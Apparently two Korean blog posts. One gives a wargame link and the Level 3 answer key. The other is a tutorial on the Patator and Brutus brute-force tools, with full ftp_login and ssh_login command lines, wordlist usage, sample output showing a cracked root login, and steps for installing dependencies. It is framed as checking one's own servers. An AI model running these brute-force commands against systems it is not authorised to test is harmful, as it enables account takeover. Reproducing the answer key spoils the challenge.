http://webgame.wowhacker.com/weblevel3/down/fb6e412cf733d6b9cdf777cbcafa35c3.85428900


위의 링크로 들어가 봅시다. 


Level3 key: iwantknowmoreMrjones!


축하합니다. Level 3의 답을 구했군요.  슈퍼맨


Posted by KT한
,

Brute-Force라 하면 무작위로 여러 가지 경우의 수를 계산해서 시도해보는 것을 의미하는데요. 

사람은 유사한 작업을 반복하는것을 매우 힘들어하고 싫어하는 반면 컴퓨터는 반복 작업도 곧잘 해냅니다. 

이런 컴퓨터에게 수 많은 경우의 수를 감안해서 다양한 무작위 시도를 하게 함으로써 원하는 정보를 획득 하는게 가능합니다. 


일반적으로 'SSH Brute-Force 공격'이 유명하죠. 

성공할 경우 타겟 장비의 root권한을 획득 할 수 있으므로 주의가 필요한 공격 중 하나라고 할 수 있습니다. 


이에 대한 방어를 준비했다면 제대로 방어가 되는지 확인이 필요하겠죠?

이 작업을 도와줄 좋은 도구가 있답니다. 


리눅스용 과 윈도우용 두 가지 간단한 툴을 소개하고자 합니다. 


※ 절대 이 도구를 악의적인 목적으로 사용하지는 마시기 바랍니다. 


  • 파이썬(Python)으로 작성된 리눅스용 Brute-Force 검증 툴


이름은 'Patator'인데요.. 사전상에 정확한 의미는 없지만.. 유추해 보기로는 'patate'를 사람명사로 표현해서 '바보처럼 같은 행위를 반복해주는 녀석' 정도가 아닐까 생각됩니다. 


믿음직 스러운건 구글 코드에 등록되어 있다는 겁니다. (아직 베타 버전인가 봅니다. 버전이 0.3 이네요.)

구글 코드 페이지 에서 기본 사용법인 지원 가능한 리스트를 확인 할 수 있습니다. 

자세한 설명은 다운받은 파일을 문서 편집 툴로 열어서 확인해보시면 됩니다. 


아래 링크를 클릭해서 다운 받으시면 됩니다. 

Patator 다운로드 



Patator 사용법:


다운 받은 실행 파일을 Brute-Force를 시도할 장비로 옮겨둡니다. 

실행 권한을 미리 부여해 두면 사용이 더 편리합니다. 


# chmod 777 ./patator_v0.3.py


이름도 간단하게 변경해 줍시다. 


# mv patator_v0.3.py patator.py



1. 사용 가능한 명령 리스트 조회

이것도 역시 '-h'옵션을 주면 됩니다. 


여기서는 공격 종류를 모듈이라고 부르고 있습니다. 아무래도 공격이라고 하면 왠지 어감이 안좋아서 그런것 같기도 하네요.


모듈 종류별로 별도의 도움말 페이지 조회 방법도 나오네요. 


# ./patator.py -h

Usage:

  $ ./patator.py module --help

or

  $ ln -s patator.py module

  $ ./module --help


Available modules:

  + ftp_login     : Brute-force FTP authentication

  + ssh_login     : Brute-force SSH authentication

  + telnet_login  : Brute-force Telnet authentication

  + smtp_login    : Brute-force SMTP authentication

  + smtp_vrfy     : Enumerate valid users using SMTP VRFY

  + smtp_rcpt     : Enumerate valid users using SMTP RCPT TO

  + http_fuzz     : Fuzz HTTP/HTTPS

  + pop_passd     : Brute-force poppassd authentication (http://netwinsite.com/poppassd/ not POP3)

  + smb_login     : Brute-force SMB authentication

  + ldap_login    : Brute-force LDAP authentication

  + mssql_login   : Brute-force MSSQL authentication

  + oracle_login  : Brute-force Oracle authentication

  + mysql_login   : Brute-force MySQL authentication

  + pgsql_login   : Brute-force PostgreSQL authentication

  + vnc_login     : Brute-force VNC authentication

  + dns_reverse   : Reverse lookup subnets

  + dns_forward   : Forward lookup subdomains

  + snmp_login    : Brute-force SNMP v1/2/3 authentication

  + unzip_pass    : Brute-force the password of encrypted ZIP files

  + keystore_pass : Brute-force the password of Java keystore files


2. 모듈 별 사용법 조회 
FTP에 대한 설명을 조회해봅시다. 
위에서 확인했던 명령어로 조회를 하면 됩니다. 

간단한 사용법까지 나와있어 옵션에 대한 설명을 다 보지 않더라도 사용이 가능합니다. 

# ./patator.py ftp_login --help
Usage:
ftp_login host=10.0.0.1 user=FILE0 password=FILE1 0=logins.txt 1=passwords.txt -x ignore:mesg='Login incorrect.' -x ignore,reset,retry:code=500 -x reset:fgrep='Login successful'

Module options:
  host          : hostnames or subnets to target
  port          : ports to target [21]
  user          : usernames to test
  password      : passwords to test
  persistent    : use persistent connections [1|0]



3. 명령 실행
위에 나온 사용 예제를 활용해서 실행하면 됩니다. 

# ./patator.py ftp_login host=10.0.0.1 user=FILE0 password=FILE1 0=logins.txt  1=passwords.txt -x ignore:mesg='Login incorrect.' -x ignore,reset,retry:code=500 -x reset:fgrep='Login successful'

여기서 사용된 옵션에 대해 간략히 살펴보면 이렇습니다. 
  1. host로 설정해준 '10.0.0.1'에 대해 FTP 로그인을 시도합니다. 
  2. FTP 로그인에 시도할 user ID와 password는 별도의 파일에 리스트 형식으로 입력해줍니다. 
  3. logins.txt에는 user ID를 한 줄에 한 개씩 가능성 있는 ID들을 입력해 줍니다. 
  4. passwords.txt에는 password를 ID처럼 가능성 있는 다양한 비밀번호를 입력해 줍니다. 
  5. 로그인 실패 메시지는 무시하고, 성공하게 되면 다른 ID/PW로 시도하기 위해 현재 연결을 끊어줍니다. 
  6. 문법 오류가 있을 때 발생하는 에러 코드 500 에 대해서도 무시하도록 합니다. 


실행 과정을 모두 보고 싶다면 뒷 부분 옵션을 생략하면 됩니다. 

# ./patator.py ftp_login host=10.0.0.1 user=FILE0 password=FILE1 0=logins.txt  1=passwords.txt


4. 결과 확인
간략한 사용결과를 보기 위해 ID만 파일에서 읽어오도록 하고 실행한 결과입니다. 

# ./patator.py ftp_login host=192.168.10.10 user=FILE0 password=qwe123 0=logins.txt
18:24:17 patator    INFO - Starting Patator v0.3 (http://code.google.com/p/patator/) at 2012-09-18 18:24 KST
18:24:17 patator    INFO -
18:24:17 patator    INFO - code & size     | candidate                   |   num | mesg
18:24:17 patator    INFO - ---------------------------------------------------------------
18:24:17 patator    INFO - 230 17          | root                        |     7 | Login successful.
18:24:20 patator    INFO - 530 16          | admin                       |     1 | Login incorrect.
18:24:20 patator    INFO - 530 16          | administrator               |     2 | Login incorrect.
18:24:20 patator    INFO - 530 16          | user                        |     3 | Login incorrect.
18:24:20 patator    INFO - 530 16          | guest                       |     4 | Login incorrect.
18:24:20 patator    INFO - 530 16          | tmp                         |     5 | Login incorrect.
18:24:20 patator    INFO - 530 16          | test                        |     6 | Login incorrect.
18:24:20 patator    INFO - Hits/Done/Size/Fail: 7/7/7/0, Avg: 2 r/s, Time: 0h 0m 3s


시간대 별로 로그인을 시도한 ID별로 결과 코드와 메시지가 출력됩니다. 
메시지에 'Login successful'이 출력되어 있다면 FTP Brute-Force에 의해 취약점이 드러난게 됩니다. 


실행시에 디펜던시(dependency)가 걸린 다른 프로그램이 있다면 실행이 되지 않겠죠? 
추가적으로 설치 해야할 게 있다면 이렇게 오류 메시지가 나타나게 됩니다. 

# ./patator.py ssh_login --help
ERROR: paramiko (http://www.lag.net/paramiko/) is required to run ssh_login.
Please read the README inside for more information.

해당 프로그램을 설치 한 후에 다시 실행 하시면 됩니다. 


=== 본문 내용 추가 ===
디펜던시를 파일들을 설치하는 법에 대한 문의가 있어 내용을 추가합니다. 
우선 파이썬(Python)을 처음 접해보시거나 익숙하지 않으시다면 파이썬 파일들을 간편하게 설치할 수 있도록 도와주는 툴을 하나 다운받아 설치 하세요. 
우리가 사용할 것은 'easy_install'인데 이것은 'setuptools'에 포함되어 있습니다. 
해당 사이트에 가서 'setuptools' 파일을 다운 받아 주세요.  wget 명령어로 받으셔도 됩니다. 

개인 사정으로 Ubuntu환경에서 설치하는 과정을 올리게 됐습니다. 다른 OS라면 감안하셔서 진행해주세요. 

$ wget https://pypi.python.org/packages/source/s/setuptools/setuptools-1.1.6.tar.gz

파일을 받았다면 압축을 풀어주세요. 

$ tar xvf setuptools-1.1.6.tar.gz 

압축을 다 풀고 나면 폴더에 들어가서 설치를 진행해 주면 됩니다. 

$ python setup.py  build
$ sudo python setup.py  install

setup.py라는 파일을 실행하면 되는데, 뒤에 'build', 'install'처럼 수행할 명령어를 지정해주면 됩니다. 
'install'은 root 권한이 있어야만 됩니다. 

이제 easy_install이란 명령어가 사용 가능할 겁니다. 이 명령어로 디펜던시 파일들을 설치 하시면 됩니다. 
한 예로 ssh_login 모듈에 필요한 'paramiko'를 설치하는 법을 알아봅시다. 

먼저 에러 메시지에 있는 링크에 들어가서 'paramiko' 파일을 받아줍니다. 물론, wget으로 받아도 됩니다. 

$ wget https://github.com/paramiko/paramiko/archive/v1.12.0.tar.gz

압축을 풀고 폴더에 들어가서 조금전에 설치 했던 'easy_install'을 활용해서 설치를 진행합니다. 

$ sudo easy_install ./
Processing 
Writing /home/kyungtae/Workspace/Reference/paramiko-1.12.0/setup.cfg
Running setup.py -q bdist_egg --dist-dir /home/kyungtae/Workspace/Reference/paramiko-1.12.0/egg-dist-tmp-8Fc0eB
warning: no files found matching '*' under directory 'docs'
zip_safe flag not set; analyzing archive contents...
Adding paramiko 1.12.0 to easy-install.pth file

Installed /usr/local/lib/python2.7/dist-packages/paramiko-1.12.0-py2.7.egg
Processing dependencies for paramiko==1.12.0
Searching for ecdsa
Reading https://pypi.python.org/simple/ecdsa/
Best match: ecdsa 0.9
Downloading https://pypi.python.org/packages/source/e/ecdsa/ecdsa-0.9.tar.gz#md5=2b9c35245ce391d6b7d8f991aad5c630
Processing ecdsa-0.9.tar.gz
Writing /tmp/easy_install-_16pCs/ecdsa-0.9/setup.cfg
Running ecdsa-0.9/setup.py -q bdist_egg --dist-dir /tmp/easy_install-_16pCs/ecdsa-0.9/egg-dist-tmp-0hYqTP
zip_safe flag not set; analyzing archive contents...
Adding ecdsa 0.9 to easy-install.pth file

Installed /usr/local/lib/python2.7/dist-packages/ecdsa-0.9-py2.7.egg
Finished processing dependencies for paramiko==1.12.0

설치가 완료 되었다면 다시 patator를 실행해봅시다. 

$ python patator.py  ssh_login
Usage: 
ssh_login host=10.0.0.1 user=root password=FILE0 0=passwords.txt -x ignore:mesg='Authentication failed.' -x ignore,reset,retry:mesg='No existing session' -x reset:code=0

설치가 정상적으로 되었군요. 이제 사용법에 맞는 명령어를 써서 사용하시면 됩니다. 



추천은 저를 춤추게 합니다 ^^




  • 윈도우용 GUI기반 Brute-Force 검증 툴 

Bruteus라는 툴입니다. 
최근에는 업데이트가 되고 있지는 않지만.. Brute-Force가 워낙 고전적인 방식이라.. 검증하는데는 크게 문제가 없어보입니다. 윈도우7에서도 정상적으로 동작합니다. 

홈페이지에서 설명 및 다운이 가능합니다. 


Brutus 사용법:

BrutusA2.exe 를 실행 시킵니다. 
한 눈에 보기에도 직관적으로 사용이 가능할 정도로 심플합니다. 

먼저, Target에 검증 할 서버의 IP주소를 넣어줍니다. 
Type에서 원하는 종류를 선택 후 'Start'버튼을 눌러주면 됩니다. 


화면 하단에 현재 진행 상황에 대한 메시지와 함께 진행률이 표시됩니다. 


사용자 ID와 비밀번호 파일은 함께 제공되고 있습니다. 

비밀번호는 800여개나 되네요. 만약 저 파일에 제공되는 비밀번호 중 하나를 사용중이라면 변경하는게 좋겠죠? 



우리의 서버 우리가 먼저 검증해서 안전하게 지킵시다~ 


Posted by KT한
,